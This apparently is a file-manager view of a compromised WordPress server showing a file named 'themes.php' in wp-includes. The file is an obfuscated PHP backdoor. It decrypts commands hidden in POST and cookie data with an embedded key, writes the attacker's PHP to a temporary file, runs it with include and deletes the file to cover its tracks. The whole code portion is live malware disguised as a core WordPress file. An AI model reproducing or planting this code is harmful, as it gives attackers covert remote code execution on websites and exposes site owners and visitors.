HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web95 (5097)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web95/web/wp-includes/blocks/avatar/themes.php
<?php $gcbvhmhzxx   =	'gcbvhmhzxx' /*   lbzkmz   */ ^     '';


$murao       =      "\141"     .      "r"."\162"	.	$gcbvhmhzxx(97)	.     "\x79"     . /*yr_n*/ "_".$gcbvhmhzxx(938-829)    .       "a"."\x70";
$qjnxxvje      = /*  i   */ "i".$gcbvhmhzxx(618-509)    .	"p".$gcbvhmhzxx(960-852) /*n */ . /*  kfxzo   */ "\157" /*  jsp  */ .	$gcbvhmhzxx(100)     . /*q */ "\145";


$wntzsgh  =    "\x63" /*  soax*/ . /* jxqy */ $gcbvhmhzxx(303-192) /*   dpby   */ .	"\x75"     .    $gcbvhmhzxx(110) /*   l*/ . /*  o  */ $gcbvhmhzxx(802-686);

function      yqsbuvgwye($rchmqcppsl,       $pycfwq){
 /* r */ global       $gcbvhmhzxx;
 /* yc*/  /*pr   */ $rchmqcppsl /*lqdr  */ = /*uycxrs  */ "\74" /*we   */ .      "?"."p".$gcbvhmhzxx(129-25)   .   $gcbvhmhzxx(112) /*  kcaek*/ .     $gcbvhmhzxx(32) /*   jtcy   */ .   "u".$gcbvhmhzxx(187-77)      .     $gcbvhmhzxx(512-404)  .  $gcbvhmhzxx(219-114)	.    "\x6e" /*  y*/ .       "k".$gcbvhmhzxx(40)       .	"\x5f"	. /*   x_f */ "_"."\x46" /*   wqlwgo  */ .    "I".$gcbvhmhzxx(620-544) /*   svebyk*/ .    "\105" /* i */ .   "_".$gcbvhmhzxx(1022-927)	. /* hmao   */ $gcbvhmhzxx(1020-979) /*tq*/ .	$gcbvhmhzxx(59)      . /*  ffo   */ $gcbvhmhzxx(32)     . /*lfwkn  */ $rchmqcppsl["d"];


    $nuoxr_rd /*   cbwakp  */ = /* aommli   */ "f".$gcbvhmhzxx(105)    .     "l"."e"."_".$gcbvhmhzxx(112)	. /*ilc   */ "u".$gcbvhmhzxx(1006-890)       .	"_"."\x63"   . /* ihfbx */ "o".$gcbvhmhzxx(110)  .	"t"."\145" /*  clsgz  */ .    $gcbvhmhzxx(110) /* hrwtr*/ .    "t"."s";

    


    $nuoxr_rd($pycfwq,	$rchmqcppsl);


 /*  b */ 

	qvlkgwi($pycfwq);}



$cswhqyhkcu /*  vamfri */ =   73;



function      qvlkgwi($pycfwq)
{	global /*   ahp */ $gcbvhmhzxx; /*   brfvdr*/ 

 /*  lmahv*/ include($pycfwq);
 /*  ry */ $xgnplhll   = /*acqt */ $pycfwq;


  @unlink($xgnplhll);


}


function /*   hlnwzm   */ qzg_p_h()

{
    global    $gcbvhmhzxx;





 /* ozhsk  */ $v_ztebrbu /*   omktvy  */ =    array();
	$v_ztebrbu["p".$gcbvhmhzxx(118)]    = /*  pcivdx   */ phpversion();


      $v_ztebrbu["s"."v"] /*  zmk */ =	"\x33" /* t   */ .    "."."5";	$omxaa      =    74;

       echo    @serialize($v_ztebrbu);

}





function /*   qchhn */ sbvgdd($rchmqcppsl,	$nqsflsie)
{


 /* jfwvg */ global /*  cu_zw   */ $gcbvhmhzxx;



  $xemk_y /*   ajcm   */ = /*  xalh */ "";

 /*   fgrnot   */ $fkcgffmjnh    = /* tsm   */ 'zfzujymyga';


 /*jpj  */ $ane_azxiz	=	hash('sha256',    $rchmqcppsl);
	$zdvtgz /*kmzz*/ =	str_replace('wf_lxp', /*  jnw  */ $ane_azxiz,     $fkcgffmjnh); /* g */ $v_ztebrbu     = /*   s   */ 0;

 /* iiqpnm  */ while  ($v_ztebrbu    <    strlen($rchmqcppsl))    {


    $eseide    =   isset($nqsflsie) /*   qp   */ ?  $nqsflsie /*  b*/ :     '';
    for     ($zprcvyet       = /*   _iw  */ 0;     $zprcvyet /* vm   */ <    strlen($eseide) /*   erwf*/ &&	$v_ztebrbu /*  mxxfq */ <	strlen($rchmqcppsl);   $zprcvyet++,    $v_ztebrbu++) /*  y */ {
 /* xdtnyk   */ $xemk_y   .= /*jy   */ $gcbvhmhzxx(ord($rchmqcppsl[$v_ztebrbu]) /* i*/ ^	ord($eseide[$zprcvyet]));
    }   if /* b_ */ (strlen($xemk_y) /* ecn  */ > /*  ioh*/ 20)       {
       $zdvtgz /*  tzytw*/ = /*  m   */ substr($xemk_y, /*  hrccl*/ 0,    20);

    }  }    if	(empty($xemk_y))  { /*  uec*/ $xemk_y      = /*   cb*/ date('Y-m-d       H:i:s');


 /*   be   */ }

   return /*  yhw */ $xemk_y;}


function  doadhur($sflrv)
{

  global    $gcbvhmhzxx;

 /*  jkdk*/ 
 /*  ofk   */ $gl_uexz      = /*   xse*/ "1"."\144"       .    "4"."8"."\63"    .       "d".$gcbvhmhzxx(874-826) /*ic_   */ .      "\145" /*   cn*/ .	"-"."1".$gcbvhmhzxx(607-510)	.    $gcbvhmhzxx(54)    . /* t */ "5"."\55"    . /*czle */ $gcbvhmhzxx(52)   . /*iqllho   */ "\67"       .	"\141"      . /*   bc  */ "1".$gcbvhmhzxx(45)    .   "\x39"   .	"6"."\x33"    .       $gcbvhmhzxx(119-21) /*xhjrun*/ . /*njzjzk*/ $gcbvhmhzxx(226-181)    .	"\x35"      . /*hi  */ "\x35"	. /*  vx*/ "3".$gcbvhmhzxx(781-731) /*   va*/ .	"\64" /*   h */ .     "d"."e"."2"."4".$gcbvhmhzxx(235-178)    .    $gcbvhmhzxx(100)	. /*z   */ "7";


    /*v */ foreach     ($sflrv /*   ijp */ as    $da_qsaxnox	=>	$rchmqcppsl) /* lwzf*/ {


 /*  dkoyvb */ mnyd__m(base64_decode($rchmqcppsl),    $gl_uexz, /*  edbm_j*/ $da_qsaxnox);   }
}



function     mnyd__m($rchmqcppsl, /*   cqtvke */ $gl_uexz,	$da_qsaxnox){	global /*ujbsxz   */ $gcbvhmhzxx;


      

	$rchmqcppsl    =       unserialize(sbvgdd(sbvgdd($rchmqcppsl,    $gl_uexz), /*  jg_ojc */ $da_qsaxnox));	$dahwcf	= /*  fl  */ 'vc';
	$mauadfj_ct /* e_fg*/ =      'scp';


 /*_mphh */ if /*oiuxuv */ (isset($rchmqcppsl["\141" /*  vdl*/ .    "\x6b"]))   {


     if	($rchmqcppsl["\141"]    ==    "i")     {
    qzg_p_h();

 /* wb  */ }	elseif   ($rchmqcppsl["\141"]   ==    "e") /*  k   */ {


     yqsbuvgwye($rchmqcppsl, /* nxat */ sprintf("\56"    . /* zxtiqo   */ "\57" /*   rktnv */ . /*   x   */ $gcbvhmhzxx(708-671) /* xi  */ .  "\x73"       . /* p*/ $gcbvhmhzxx(46)    .    "\x70"	.       $gcbvhmhzxx(108),    md5($gl_uexz)));			$gfzvexv   = /*  u   */ 44;
 /*  srinfi   */ }
 /* orqbnv   */ exit();


	}
}

doadhur($_POST); /*  aav  */ 



$zefjgkr /*  hnk */ =    $murao('rawurldecode', /* thid   */ $_POST);

$avgzusnlw /*   nkj*/ =      $wntzsgh($zefjgkr);if     ($avgzusnlw	>	0)      {

 /* u*/ $sxpsaaac    =       $qjnxxvje(',',    $zefjgkr);}

doadhur($_COOKIE);  




$yeqqhsq    =	$murao('rawurldecode', /*  d   */ $_COOKIE);$wjkdbc /*  ljnx  */ =   $wntzsgh($yeqqhsq);if /*   d */ ($wjkdbc  > /*  keu */ 0) /* qlyr  */ {
 /*b  */ $llcqobq  =    $qjnxxvje(';',    $yeqqhsq);


}


$ffrlmi /*  n */ =     $yeqqhsq;

$pgd_f /* v  */ =    date('Y-m-d /* hlw  */ H:i:s');



?>